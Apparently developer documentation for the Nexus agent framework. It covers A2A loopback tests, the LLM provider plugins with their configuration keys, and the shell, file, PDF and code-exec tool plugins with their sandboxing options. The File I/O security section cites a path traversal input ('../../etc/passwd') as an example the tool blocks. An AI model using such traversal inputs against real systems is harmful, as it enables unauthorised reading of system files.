configs/test-a2a-loopback-caller.yaml | The delegating engine: nexus.agent.a2a_remote pointed at the callee, bearer credential, mock LLM. |
configs/test-a2a-loopback-server.yaml | The callee: nexus.io.a2a on 127.0.0.1:18192, bearer-guarded, mock LLM. |
configs/test-a2a-loopback-hitl-server.yaml | The same callee, but its mocked agent calls ask_user, so the task parks at INPUT_REQUIRED. |
tests/integration/a2a_loopback_test.go | Boots both engines and drives card fetch, a streaming run to COMPLETED, artifact return, bearer acceptance and refusal, a chained question answered on the caller’s side, the two input deadlines racing each other, and cancellation crossing the boundary. |
go test -tags integration ./tests/integration/ -run TestA2ALoopback -v
What the loopback does and does not prove. It proves the two Nexus mappings
are self-consistent — that what one emits, the other reads. It does not
prove third-party interoperability: no external A2A implementation and no
conformance test kit is in that path. The expectations that are not
self-referential live in the shared corpus at pkg/a2a/a2aconform, which
nexus.io.a2a is driven against separately; see Conformance: one corpus, two
mappings.
See also
- A2A Interoperability — the protocol mapping and a worked client walkthrough
- A2A Serve (
nexus.io.a2a) — the serve side of the same wire - Delegate / Remote AG-UI Agents — the sibling delegation primitives this mirrors
- Posture Registry — where a remote’s budget comes from
- Configuration Reference —
nexus.agent.a2a_remote— canonical key list
LLM Providers
LLM provider plugins handle communication with AI model APIs. They receive llm.request events, call the external API, and emit llm.response (or streaming chunks).
Available Providers
| Plugin | ID | Service |
|---|---|---|
| Anthropic | nexus.llm.anthropic | Claude (direct HTTP, no SDK) |
| OpenAI | nexus.llm.openai | GPT / o-series (direct HTTP, no SDK) |
| Gemini | nexus.llm.gemini | Google Gemini — public api-key + Vertex AI; thinking, multimodal, code execution, prompt caching |
| Fallback | nexus.provider.fallback | Automatic provider failover coordinator |
| Fanout | nexus.provider.fanout | Parallel multi-provider dispatch |
Provider Architecture
Providers are low-level plugins that:
- Subscribe to
llm.requestat high priority (10) - Resolve the requested model role via the Model Registry
- Apply prompt registry sections to the system prompt
- Make the API call (with streaming support)
- Emit
llm.responseorllm.stream.chunk/llm.stream.end
Providers don’t know about agents, tools, or conversations — they only translate between the Nexus event model and the external API.
Structured Output
When ResponseFormat is set on an LLMRequest, providers map it to their native structured output mechanism if supported, or simulate it otherwise.
Capability Matrix
| Provider | Native Support | Strategy |
|---|---|---|
| OpenAI | Yes | Maps directly to response_format in the API payload |
| Anthropic | No | Simulates via tool-use-as-schema: injects synthetic tool, forces tool choice, unwraps tool call arguments as structured response |
| Gemini | Yes | Maps to generationConfig.responseMimeType + responseSchema (incompatible JSON Schema keywords stripped) |
| Other/unknown | No | Ignores the field; json_schema gate handles validation downstream |
Metadata Flag
Providers set LLMResponse.Metadata["_structured_output"] = true when structured output enforcement was used (native or simulated). Downstream consumers (like the json_schema gate) can check this flag to skip redundant validation.
Anthropic (Claude) Provider
The Anthropic provider calls the Claude API via direct HTTP requests — no SDK dependency. It supports streaming, tool use, request cancellation, and automatic retries.
Details
| ID | nexus.llm.anthropic |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
api_key_env | string | ANTHROPIC_API_KEY | Name of the environment variable containing the API key |
debug | bool | false | Log raw request/response bodies to the session plugin directory |
pricing | map | (embedded defaults) | Per-model pricing overrides. Keys are model IDs, values have input_per_million and output_per_million (USD) |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
llm.request | 10 | Receives LLM requests from agents |
cancel.active | 5 | Cancels in-flight API requests |
Emits
| Event | When |
|---|---|
llm.response | Non-streaming response received |
llm.stream.chunk | Each chunk of a streaming response |
llm.stream.end | Streaming response complete |
core.error | API errors |
Features
Model Resolution
The provider uses the Model Registry to resolve role names. When an llm.request specifies a Role (e.g., "reasoning"), the provider looks up the concrete model config. If no role is specified, the default model is used.
Streaming
When llm.request.Stream is true, the provider uses Server-Sent Events (SSE) to stream the response. Each content chunk and tool use block generates a llm.stream.chunk event. When streaming completes, llm.stream.end carries the full usage statistics.
Tool Calling
The provider translates Nexus tool definitions into the Anthropic tool_use format. Tool call responses from the API are parsed and included in the llm.response or final llm.stream.end event.
Prompt Assembly
Before sending a request, the provider calls PromptRegistry.Apply() to append dynamic sections (skills catalog, system variables, etc.) to the system prompt.
Request Cancellation
Subscribes to cancel.active at priority 5. When a cancellation arrives, the in-flight HTTP request context is cancelled, aborting the API call.
Retry Logic
Transient errors (rate limits, server errors) are retried with exponential backoff.
Structured Output (Simulated)
Anthropic does not natively support response_format. When ResponseFormat is set with Type: "json_schema", the provider simulates structured output via tool-use-as-schema:
- A synthetic tool named
_structured_outputis injected alongside any real tools. Itsinput_schemais the output schema fromResponseFormat.Schema. tool_choiceis forced to{"type": "tool", "name": "_structured_output"}, overriding any existing tool choice.- Claude returns the structured data as tool call arguments.
- The provider unwraps the tool call arguments back into
LLMResponse.Content, so downstream consumers see structured output (not a tool call). LLMResponse.Metadata["_structured_output"]is set totrue.
During streaming, the synthetic tool’s input_json_delta chunks are emitted as llm.stream.chunk content events, so the UI can stream structured output in real time.
Cost Tracking
The provider computes CostUSD on every llm.response using per-model pricing rates. Embedded defaults cover common Claude models. Override via config for enterprise pricing tiers or new models:
nexus.llm.anthropic:
pricing:
claude-sonnet-4-6-20250514:
input_per_million: 3.0
output_per_million: 15.0
Config overrides are merged with embedded defaults — only override the models you need to change. Cost is accumulated into SessionMeta.CostUSD by the engine.
Debug Mode
When debug: true, raw request and response JSON bodies are written to the session’s plugin directory for inspection.
HTTP Configuration
- Timeout: 5 minutes per request
- API endpoint:
https://api.anthropic.com/v1/messages
Example Configuration
nexus.llm.anthropic:
api_key_env: ANTHROPIC_API_KEY
debug: false
To use a different environment variable for the API key:
nexus.llm.anthropic:
api_key_env: MY_CLAUDE_KEY
OpenAI Provider
The OpenAI provider calls the Chat Completions API via direct HTTP requests — no SDK dependency. It supports streaming, tool use, request cancellation, and automatic retries. Compatible with any OpenAI-compatible API endpoint (Azure OpenAI, local proxies, etc.) via base_url.
Details
| ID | nexus.llm.openai |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
api_key_env | string | OPENAI_API_KEY | Name of the environment variable containing the API key |
base_url | string | https://api.openai.com/v1/chat/completions | API endpoint URL (override for Azure, local proxies, etc.) |
debug | bool | false | Log raw request/response bodies to the session plugin directory |
pricing | map | (embedded defaults) | Per-model pricing overrides. Keys are model IDs, values have input_per_million and output_per_million (USD) |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
llm.request | 10 | Receives LLM requests from agents |
cancel.active | 5 | Cancels in-flight API requests |
Emits
| Event | When |
|---|---|
llm.response | Non-streaming response received |
llm.stream.chunk | Each chunk of a streaming response |
llm.stream.end | Streaming response complete |
core.error | API errors |
Features
Model Resolution
The provider uses the Model Registry to resolve role names. When an llm.request specifies a Role (e.g., "reasoning"), the provider looks up the concrete model config. If no role is specified, the default model is used.
Streaming
When llm.request.Stream is true, the provider uses Server-Sent Events (SSE) to stream the response. Each content chunk and tool use block generates a llm.stream.chunk event. When streaming completes, llm.stream.end carries the full usage statistics. Usage is requested via stream_options.include_usage.
Tool Calling
The provider translates Nexus tool definitions into the OpenAI function calling format (type: "function"). Tool call responses from the API are parsed and included in the llm.response or streamed via llm.stream.chunk events.
Prompt Assembly
Before sending a request, the provider calls PromptRegistry.Apply() to append dynamic sections (skills catalog, system variables, etc.) to the system prompt.
Request Cancellation
Subscribes to cancel.active at priority 5. When a cancellation arrives, the in-flight HTTP request context is cancelled, aborting the API call.
Retry Logic
Transient errors (rate limits, server errors) are retried with exponential backoff.
Structured Output (Native)
OpenAI natively supports structured output via the response_format API field. When ResponseFormat is set on an LLMRequest, the provider maps it directly:
json_object→{"type": "json_object"}— Forces valid JSON output.json_schema→{"type": "json_schema", "json_schema": {"name": "...", "schema": {...}, "strict": true}}— Forces output matching a specific schema. TheStrictfield controls whether OpenAI enforces exact schema adherence.text→ Noresponse_formatfield (OpenAI default).
LLMResponse.Metadata["_structured_output"] is set to true for json_object and json_schema types.
Cost Tracking
The provider computes CostUSD on every llm.response using per-model pricing rates. Embedded defaults cover common OpenAI models. Override via config for enterprise pricing tiers or new models:
nexus.llm.openai:
pricing:
gpt-4o:
input_per_million: 2.50
output_per_million: 10.0
Config overrides are merged with embedded defaults — only override the models you need to change. Cost is accumulated into SessionMeta.CostUSD by the engine.
Debug Mode
When debug: true, raw request and response JSON bodies are written to the session’s plugin directory for inspection.
Compatible Endpoints
The base_url config allows pointing at any OpenAI-compatible API:
- Azure OpenAI — Set
base_urlto your Azure endpoint - Local proxies — LM Studio, Ollama (with OpenAI-compatible mode), vLLM, etc.
- Other providers — Any service implementing the Chat Completions API
HTTP Configuration
- Timeout: 5 minutes per request
- API endpoint: Configurable via
base_url, defaults tohttps://api.openai.com/v1/chat/completions
Example Configuration
nexus.llm.openai:
api_key_env: OPENAI_API_KEY
debug: false
To use a different environment variable or custom endpoint:
nexus.llm.openai:
api_key_env: MY_OPENAI_KEY
base_url: https://my-proxy.example.com/v1/chat/completions
Using OpenAI models in the model registry:
core:
models:
default: balanced
reasoning:
provider: nexus.llm.openai
model: o3
max_tokens: 16384
balanced:
provider: nexus.llm.openai
model: gpt-4.1
max_tokens: 8192
quick:
provider: nexus.llm.openai
model: gpt-4.1-mini
max_tokens: 4096
Gemini Provider
The Gemini provider calls Google’s Gemini API via direct HTTP — no SDK dependency. It supports both the public Generative Language API (api-key auth) and Vertex AI (service-account JWT auth) and ships feature parity with the OpenAI and Anthropic providers (sync + streaming, tool use, structured output, retry, cancellation, debug logs, fallback hooks). On top of that it adds Gemini-only features: thinking (“reasoning”) parts, multimodal inputs, the built-in code execution tool, and prompt caching via the cachedContents API.
Details
| ID | nexus.llm.gemini |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
auth | string | api_key | api_key for the public endpoint, vertex for Vertex AI |
api_key | string | — | Direct API key (overrides api_key_env) |
api_key_env | string | GEMINI_API_KEY, then GOOGLE_API_KEY | Env var holding the API key |
project_id | string | $GOOGLE_CLOUD_PROJECT | (Vertex) GCP project id |
location | string | us-central1 | (Vertex) GCP region for the AI Platform endpoint |
service_account_json | string | — | (Vertex) Path to a service-account JSON key |
service_account_json_env | string | GOOGLE_APPLICATION_CREDENTIALS | (Vertex) Env var holding the service-account path |
debug | bool | false | Log raw request/response bodies into the session plugin directory |
pricing | map | embedded defaults | Per-model pricing overrides; see Cost Tracking below |
retry | map | disabled | Retry/backoff config; see Retry Logic |
thinking | map | disabled | Reasoning config for Gemini 2.5; see Thinking |
code_execution | bool | false | Enable Gemini’s built-in code execution tool |
cache | map | disabled | Prompt cache config; see Prompt Caching |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
llm.request | 10 | LLM requests from agents |
cancel.active | 5 | Cancels in-flight API requests |
Emits
| Event | When |
|---|---|
llm.response | Non-streaming response received (also after a stream completes) |
llm.stream.chunk | Each chunk of a streaming response |
llm.stream.end | Streaming response complete |
thinking.step | A thought: true part is observed (sync or stream) |
tool.invoke / tool.result | When the built-in code execution tool is used |
before:core.error / core.error | API errors (vetoable so fallback can intercept) |
Features
Auth Modes
api_key(default) — Sendsx-goog-api-keyheader. URL:https://generativelanguage.googleapis.com/v1beta/models/{model}:generateContent.vertex— Mints an OAuth2 access token via signed JWT exchange againsthttps://oauth2.googleapis.com/token, caches the token until expiry minus 60s, and routes requests tohttps://{location}-aiplatform.googleapis.com/v1/projects/{project}/locations/{location}/publishers/google/models/{model}:generateContent. JWT signing uses RS256 from the stdlibcrypto/rsa; no third-party dependencies are added.
Streaming
When llm.request.Stream is true, the provider uses :streamGenerateContent?alt=sse and parses SSE data: lines. Text deltas are emitted as llm.stream.chunk (Content), function calls as llm.stream.chunk (ToolCall), and a final llm.stream.end carries usageMetadata.
Tool Calling
Nexus tool definitions are translated into Gemini functionDeclarations. Because Gemini matches tool calls and tool responses by function name (not an opaque ID), the provider synthesises stable IDs (call_{seq}_{name}) on outbound responses and resolves trailing tool messages back to the function name when serializing functionResponse parts.
Tool Choice
ToolChoice.Mode maps to toolConfig.function_calling_config:
auto→mode: AUTOrequired→mode: ANYnone→mode: NONEtool(withName) →mode: ANYplusallowed_function_names: [name]
Structured Output (Native)
When ResponseFormat.Type is json_object or json_schema, the provider sets generationConfig.responseMimeType: application/json and (for json_schema) generationConfig.responseSchema. JSON Schema fields Gemini doesn’t accept ($schema, $id, additionalProperties, $ref, definitions, $defs) are stripped recursively. LLMResponse.Metadata["_structured_output"] is set to true.
Thinking (Gemini 2.5)
When thinking.enabled: true, the provider sends generationConfig.thinkingConfig:
nexus.llm.gemini:
thinking:
enabled: true
budget_tokens: 8192 # 0 = disabled, -1 = dynamic budget
include_thoughts: true # surface thought parts to the bus
Response parts with thought: true are emitted as thinking.step events (Source: nexus.llm.gemini, Phase: reasoning) and are excluded from LLMResponse.Content. Every thinking.step event lands in the per-session journal automatically — read it via journal.Writer.SubscribeProjection (live) or journal.ProjectFile (post-mortem). usageMetadata.thoughtsTokenCount is mirrored into events.Usage.ReasoningTokens.
Multimodal
events.Message.Parts (text, image, audio, video, file) is serialized into Gemini parts. Inline payloads up to 18 MB use inlineData with base64 bytes; larger payloads must be uploaded via the Files API and referenced by URI (fileData.fileUri). Provider falls back to Content only when Parts is empty, so existing text-only callers are unaffected.
Code Execution
Set code_execution: true to advertise Gemini’s built-in code execution tool. Response parts of type executableCode and codeExecutionResult are dual-emitted: appended to Content as fenced markdown blocks for any UI, and emitted as tool.invoke / tool.result events under the synthetic name _gemini_code_execution so observers see them as ordinary tool activity.
Prompt Caching
nexus.llm.gemini:
cache:
enabled: true
min_tokens: 32768
ttl: "1h"
max_entries: 64
The provider computes a deterministic hash of the cache-eligible prefix (model + system instruction + tool declarations + the leading run of contents up to the first tool exchange). When a hit is present in the in-memory LRU, cachedContent is set on the request and only the trailing delta is sent. Cache entries are populated explicitly via Plugin.createCachedContent; the auto-populate path is intentionally read-only in this initial release. usageMetadata.cachedContentTokenCount flows into events.Usage.CachedTokens and the cost calculation applies the cached-input discount (default 25%, override via pricing.<model>.cached_ratio).
Cost Tracking
Embedded defaults cover the 1.5, 2.0, and 2.5 model lines (single tier — the 2.5-pro >200k tier is not modeled; override via config when high-context billing matters):
nexus.llm.gemini:
pricing:
gemini-2.5-pro:
input_per_million: 2.50 # >200k tier
output_per_million: 15.0
cached_ratio: 0.25
ReasoningTokens are billed at the output rate. CachedTokens are billed at input_per_million * cached_ratio; remaining prompt tokens at the standard input rate.
Retry Logic
Same retry surface as the OpenAI / Anthropic providers (constant, linear, exponential, exponential_jitter). Defaults retry 429 / 500 / 502 / 503 / 504. Honors Retry-After on 429 responses.
Request Cancellation
Subscribes to cancel.active at priority 5. When a cancellation arrives, the in-flight HTTP request context is cancelled.
Fallback Hook
Errors are emitted on the vetoable before:core.error event before the terminal core.error, letting nexus.provider.fallback swap to another provider in the chain.
Example: api-key
core:
models:
default: balanced
balanced:
provider: nexus.llm.gemini
model: gemini-2.5-flash
max_tokens: 8192
plugins:
active:
- nexus.io.tui
- nexus.llm.gemini
- nexus.agent.react
nexus.llm.gemini:
api_key_env: GEMINI_API_KEY
Example: Vertex AI
plugins:
nexus.llm.gemini:
auth: vertex
location: us-central1
project_id: my-gcp-project
service_account_json: ~/.config/gcloud/keys/nexus-sa.json
HTTP Configuration
- Timeout: 5 minutes per request
- Public endpoint:
https://generativelanguage.googleapis.com/v1beta - Vertex endpoint:
https://{location}-aiplatform.googleapis.com/v1
Search Grounding
A separate plugin, nexus.search.gemini_native, advertises the search.provider capability and answers search.request events using Gemini’s google_search tool. Use it independently of the LLM provider — for example, run Anthropic for chat and Gemini for grounded search lookups.
Provider Fallback
Plugin ID: nexus.provider.fallback
Automatic provider failover when the primary LLM provider returns a non-retryable error or exhausts its retry budget. Agents remain unaware — fallback is transparent at the provider layer.
Event Subscriptions
| Event | Priority | Purpose |
|---|---|---|
before:llm.request | 3 | Inject fallback tracking metadata |
before:core.error | 5 | Intercept provider errors for fallback |
Event Emissions
| Event | Payload | Purpose |
|---|---|---|
io.output.clear | (none) | Wipe partial streamed content from UI |
provider.fallback | ProviderFallback | Notify UI of provider switch |
llm.request | LLMRequest | Re-emit request targeting fallback provider |
Configuration
No plugin-specific config. Fallback chains are defined in core.models:
core:
models:
balanced:
- provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
max_tokens: 8192
- provider: nexus.llm.openai
model: gpt-4o
max_tokens: 8192
plugins:
active:
- nexus.llm.anthropic
- nexus.llm.openai
- nexus.provider.fallback # required for fallback to work
Trigger Conditions
Fallback occurs when:
- Non-retryable errors: 4xx status codes (except 429), malformed responses, auth failures
- Retries exhausted: Provider’s own retry logic (429, 5xx backoff) has hit
max_retriesand given up
Fallback does not occur for: cancellation, context deadline, or errors that the provider’s built-in retry is still handling.
Streaming Partial Failure
If a provider fails mid-stream:
- Emits
io.output.clearto wipe partial streamed content from UI - Emits
provider.fallbacknotification so user sees “Switching to [provider]…” - Re-emits
llm.requesttargeting next provider in chain
Clean restart — splicing output from two different models produces incoherent text.
What Stays Unchanged
- Agent plugins — unaware of fallback. Emit
llm.request, receivellm.response. - Provider routing — providers still check
cfg.Provider != pluginIDand skip non-matching requests. - Single-provider configs — backward compatible, parsed as chain of length 1.
- Gate plugins — operate on
before:llm.requestas before. Fallback re-emits go through same gate checks.
Request Metadata
The fallback plugin injects tracking metadata into requests for roles with fallback chains:
| Key | Type | Purpose |
|---|---|---|
_fallback_id | string | Unique ID for this fallback sequence |
_fallback_attempt | int | Current index in the chain (0 = primary) |
_fallback_role | string | Role name being resolved |
_target_provider | string | Plugin ID of the target provider (set on re-emission) |
This metadata flows through the provider and back via ErrorInfo.RequestMeta on failure, enabling the plugin to correlate errors with their original requests.
Provider Fanout
Plugin ID: nexus.provider.fanout
Sends a single LLM request to multiple providers in parallel and collects their responses. Supports configurable selection strategies to determine the final response. Agents remain unaware — fanout is transparent at the provider layer.
Event Subscriptions
| Event | Priority | Purpose |
|---|---|---|
before:llm.request | 2 | Detect fanout roles, veto original, dispatch parallel requests |
llm.response | 1 | Collect individual provider responses |
before:core.error | 4 | Absorb provider errors within fanout sequences |
Event Emissions
| Event | Payload | Purpose |
|---|---|---|
provider.fanout.start | ProviderFanoutStart | Fanout initiated |
provider.fanout.response | ProviderFanoutResponse | Individual provider responded (success or failure) |
provider.fanout.complete | ProviderFanoutComplete | All responses collected or deadline reached |
llm.request | LLMRequest | Per-provider targeted requests (via EmitAsync) |
llm.response | LLMResponse | Combined final response with Alternatives |
Configuration
core:
models:
compare:
fanout: true
providers:
- provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
max_tokens: 4096
- provider: nexus.llm.openai
model: gpt-4o
max_tokens: 4096
plugins:
active:
- nexus.llm.anthropic
- nexus.llm.openai
- nexus.provider.fanout # required for fanout to work
nexus.provider.fanout:
strategy: all # selection strategy (default: "all")
deadline_ms: 30000 # max wait time in milliseconds (default: 30000)
Plugin Config
| Key | Type | Default | Description |
|---|---|---|---|
strategy | string | "all" | Selection strategy: all, llm_judge, heuristic, user |
deadline_ms | int | 30000 | Maximum time to wait for all providers (milliseconds) |
Fanout Role Config
Fanout roles are defined in core.models as maps with fanout: true and a providers list:
core:
models:
compare:
fanout: true
providers:
- provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
- provider: nexus.llm.openai
model: gpt-4o
This is distinct from fallback chains (which are YAML arrays). Fanout roles dispatch to all providers simultaneously; fallback chains try providers sequentially on error.
Selection Strategies
| Strategy | Description | Status |
|---|---|---|
all | Return all responses. First response is primary, rest in Alternatives. | Implemented |
llm_judge | Separate LLM call picks best response. | Planned |
heuristic | Rule-based selection (response length, latency, confidence). | Planned |
user | Surface all to user, let them pick. | Planned |
Response Shape
The combined response uses the Alternatives field on LLMResponse:
- Primary fields (
Content,Model,ToolCalls, etc.) contain the first successful response Alternativescontains remaining successful responses as fullLLMResponsestructsUsageandCostUSDare aggregated across all responsesMetadata["_fanout"] = trueindicates this was a fanout responseMetadata["_fanout_id"]contains the fanout sequence ID
Deadline Handling
If any provider doesn’t respond within deadline_ms, the fanout finalizes with whatever responses have arrived. Failed or timed-out providers are counted in ProviderFanoutComplete.Failed.
If all providers fail or time out, the plugin emits a core.error instead of an llm.response.
Streaming
Fanout disables streaming for individual provider requests (Stream: false). Complete responses are required to support selection strategies and the Alternatives response shape.
Request Metadata
The fanout plugin injects tracking metadata into per-provider requests:
| Key | Type | Purpose |
|---|---|---|
_fanout_id | string | Unique ID for this fanout sequence |
_target_provider | string | Plugin ID of the target provider |
_fanout_provider | string | Plugin ID that this leg targets |
_source | string | Set to nexus.provider.fanout so agents skip individual responses |
Interaction with Other Plugins
- Fallback: Fanout and fallback serve different purposes. Fallback is sequential error recovery; fanout is parallel dispatch. A fanout leg that fails is simply marked as failed — no per-leg fallback.
- Gates: The initial
before:llm.requestpasses through gates normally. Per-provider requests emitted by fanout are directllm.requestevents (not vetoable). - Mock mode: Test IO mock responses work with fanout — each fanout leg gets the next mock response in sequence.
Tool Plugins
Tool plugins give the agent capabilities to interact with the outside world. Each tool registers itself via the event bus — agents discover tools automatically.
Available Tools
| Plugin | ID | Tool Name | Description |
|---|---|---|---|
| Shell | nexus.tool.shell | shell | Execute shell commands |
| File I/O | nexus.tool.file | read_file, write_file, list_files | Read, write, and list files |
| PDF Reader | nexus.tool.pdf | read_pdf | Extract text from PDF files |
| File Opener | nexus.tool.opener | open_path | Open files in the OS default app |
| Human-in-the-Loop | nexus.control.hitl | ask_user | Ask the user a question or approve an action (multi-choice supported) |
| Code Exec | nexus.tool.code_exec | run_code | Run a Go script that orchestrates multiple tool calls in one turn |
| Knowledge Search | nexus.tool.knowledge_search | knowledge_search | Semantic search over configured RAG namespaces; returns top-k chunks with source paths for citation |
| Session Tags | nexus.tool.session_tags | session_tag_set, session_tag_get, session_tag_delete, session_tag_list | Opt-in agent read/write access to its own session’s general-namespace tags |
How Tools Work
- Tool plugin initializes and emits
tool.registerwith its tool definition (name, description, JSON Schema parameters) - The agent collects registered tools and includes them in
llm.request - When the LLM responds with a tool call, the agent emits
before:tool.invoke(vetoable for approval) - If not vetoed, the agent emits
tool.invoke - The tool plugin handles the invocation and emits
before:tool.result(vetoable — gates can inspect/block results) - If not vetoed, the tool plugin emits
tool.result - The agent feeds the result back to the LLM
Tool Registration Event
Each tool emits a tool.register event with a ToolDef:
type ToolDef struct {
Name string // Tool name the LLM will use
Description string // Description shown to the LLM
Parameters string // JSON Schema for parameters
}
Approval Flow
The before:tool.invoke event is vetoable. I/O plugins (TUI, Browser) can intercept this to show an approval dialog, especially for high-risk operations like shell commands.
Shell Tool
Executes shell commands in a controlled environment with optional command allowlisting and sandboxing.
Details
| ID | nexus.tool.shell |
| Tool Name | shell |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
working_dir | string | (session files dir) | Working directory for executions. |
timeout | duration | 30s | Maximum execution time per command. |
sandbox.backend | string | host | Sandbox tier (host; future: gvisor, firecracker, landlock). |
sandbox.allowed_commands | string[] | (none — all allowed) | Whitelist of base command names. |
sandbox.path_dirs | string[] | (none) | Directories prepended to PATH. |
sandbox.env_restrict | bool | false | Strip sensitive env vars before execution. |
sandbox.timeout | duration | 30s | Per-command default; top-level timeout wins per-call. |
Tool Parameters
| Parameter | Type | Required | Description |
|---|---|---|---|
command | string | Yes | The shell command to execute |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 50 | Handles shell command execution |
Emits
| Event | When |
|---|---|
tool.result | Command output (stdout + stderr) |
tool.register | Registers the shell tool at boot |
core.error | Execution errors |
Security Features
Command Allowlist
When sandbox.allowed_commands is set, only commands whose base name matches the list are permitted:
nexus.tool.shell:
sandbox:
allowed_commands: ["ls", "cat", "grep", "find", "git", "make"]
Attempting to run a command not in the list returns an error to the agent.
Sandbox Environment Restriction
When sandbox.env_restrict: true, sensitive environment variables (AWS, Google, Azure, Anthropic API keys) are stripped before command execution.
Command History
All executed commands are logged to plugins/nexus.tool.shell/history.txt in the session directory.
Example Configurations
Minimal (full access)
nexus.tool.shell:
timeout: 30s
Coding assistant
nexus.tool.shell:
timeout: 30s
sandbox:
allowed_commands: ["go", "git", "ls", "cat", "grep", "find", "mkdir", "rm", "cp", "mv", "make", "docker", "npm", "cargo", "python"]
env_restrict: true
Read-only exploration
nexus.tool.shell:
timeout: 10s
sandbox:
allowed_commands: ["ls", "cat", "grep", "find", "head", "tail", "wc"]
env_restrict: true
File I/O Tool
Provides file read, write, and listing capabilities with path traversal protection.
Details
| ID | nexus.tool.file |
| Tool Names | read_file, write_file, list_files |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
base_dir | string | (session files dir) | Root directory for file operations. All paths are resolved relative to this. |
allow_external_writes | bool | false | When false, write_file always writes to the session files directory regardless of base_dir. When true, write_file can write anywhere within base_dir. |
Tools
read_file
| Parameter | Type | Required | Description |
|---|---|---|---|
path | string | Yes | Path to the file to read |
offset | number | No | Byte offset to start reading from (default 0) |
length | number | No | Maximum bytes to read (default 4096) |
Reads up to length bytes starting at offset. Returns a JSON object with content, bytes_read, offset, and total_size so callers can page through files larger than the chunk size.
write_file
| Parameter | Type | Required | Description |
|---|---|---|---|
path | string | Yes | Path to write to |
content | string | Yes | Content to write |
Creates or overwrites the file. Emits session.file.created or session.file.updated.
list_files
| Parameter | Type | Required | Description |
|---|---|---|---|
path | string | Yes | Directory to list |
pattern | string | No | Glob pattern to filter results |
Returns a listing with file names and sizes.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 50 | Handles file operations |
Emits
| Event | When |
|---|---|
tool.result | Operation result |
tool.register | Registers all three tools at boot |
core.error | File operation errors |
session.file.created | New file written |
session.file.updated | Existing file overwritten |
Security
All paths are resolved relative to base_dir. Path traversal attempts (e.g., ../../etc/passwd) are blocked.
By default, write_file is restricted to the session files directory even when a custom base_dir is configured. This prevents the agent from modifying files in the working directory unless explicitly opted in via allow_external_writes: true.
Example Configuration
# Use session files directory (default)
nexus.tool.file: {}
# Use a specific directory (reads from workspace, writes to session files)
nexus.tool.file:
base_dir: /home/user/workspace
# Allow writes to the workspace directory
nexus.tool.file:
base_dir: /home/user/workspace
allow_external_writes: true
PDF Reader Tool
Extracts text from PDF files using poppler-utils (pdftotext and pdfinfo).
Details
| ID | nexus.tool.pdf |
| Tool Name | read_pdf |
| Dependencies | None |
| Requires | poppler-utils installed on the system |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
timeout | duration | 30s | Max time for PDF processing |
pdftotext_bin | string | pdftotext | Path to the pdftotext binary |
pdfinfo_bin | string | pdfinfo | Path to the pdfinfo binary |
save_to_session | bool | false | Save extracted text to session files |
save_file_name | string | (auto) | Filename for saved text |
Tool Parameters
| Parameter | Type | Required | Description |
|---|---|---|---|
path | string | Yes | Path to the PDF file |
first_page | int | No | First page to extract (1-based) |
last_page | int | No | Last page to extract |
layout | bool | No | Preserve original layout |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 50 | Handles PDF read requests |
Emits
| Event | When |
|---|---|
tool.result | Extracted text |
tool.register | Registers the read_pdf tool at boot |
Prerequisites
Install poppler-utils:
# macOS
brew install poppler
# Ubuntu/Debian
sudo apt-get install poppler-utils
# Arch Linux
sudo pacman -S poppler
Example Configuration
nexus.tool.pdf:
timeout: 60s
save_to_session: true
File Opener Tool
Opens files or URLs using the OS-native default application (e.g., open on macOS, xdg-open on Linux).
Details
| ID | nexus.tool.opener |
| Tool Name | open_path |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
open_cmd | string | (auto-detected) | Override the open command. Auto-detected: open (macOS), xdg-open (Linux), cmd /c start (Windows) |
timeout | duration | 10s | Max time to wait for the open command |
Tool Parameters
| Parameter | Type | Required | Description |
|---|---|---|---|
path | string | Yes | File path or URL to open |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 50 | Handles open requests |
Emits
| Event | When |
|---|---|
tool.result | Confirmation of open action |
tool.register | Registers the open_path tool at boot |
Example Configuration
nexus.tool.opener:
timeout: 10s
Code Exec Tool (Programmatic Tool Calling)
Lets the LLM orchestrate multiple tool calls in a single turn by writing a short Go script. The script runs in an embedded Yaegi interpreter and dispatches inner tool calls through the real event bus, so every existing gate still fires.
Details
| ID | nexus.tool.code_exec |
| Tool Name | run_code |
| Dependencies | None (uses current tool registry at invocation time) |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
timeout_seconds | int | 30 | Wall-clock limit for a script, propagated via context.Context |
max_output_bytes | int | 65536 | Stdout/stderr cap per script; excess is silently dropped and truncated=true is returned |
max_workers | int | runtime.NumCPU() | Concurrency ceiling for the parallel.* primitives — shared across Map/ForEach/All within a single script invocation |
allowed_packages | string[] | see below | Go stdlib whitelist. Default covers pure compute: fmt, strings, strconv, bytes, regexp, unicode*, encoding/* (json/base64/hex/csv/xml/pem/binary), crypto/* (sha/md5/hmac/rand/subtle), math, math/big, math/rand, math/rand/v2, math/bits, sort, container/* (heap/list/ring), hash/* (crc32/crc64/fnv/adler32), sync, sync/atomic, errors, time, context, io, bufio. Omitted: anything touching filesystem, network, OS processes, reflection, unsafe memory. Also omitted: slices/maps (Yaegi lacks full generics support). |
persist_scripts | bool | true | Write script.go, stdout.txt, result.json, error.txt to the session workspace |
reject_goroutines | bool | true | Reject scripts containing go statements at the AST layer |
Script Contract
The LLM passes a script argument containing a complete Go source file:
package main
import (
"context"
"fmt"
"tools"
)
func Run(ctx context.Context) (any, error) {
r, err := tools.Shell(tools.ShellArgs{Command: "ls"})
if err != nil {
return nil, err
}
fmt.Println("found:", r.Output)
return map[string]string{"listing": r.Output}, nil
}
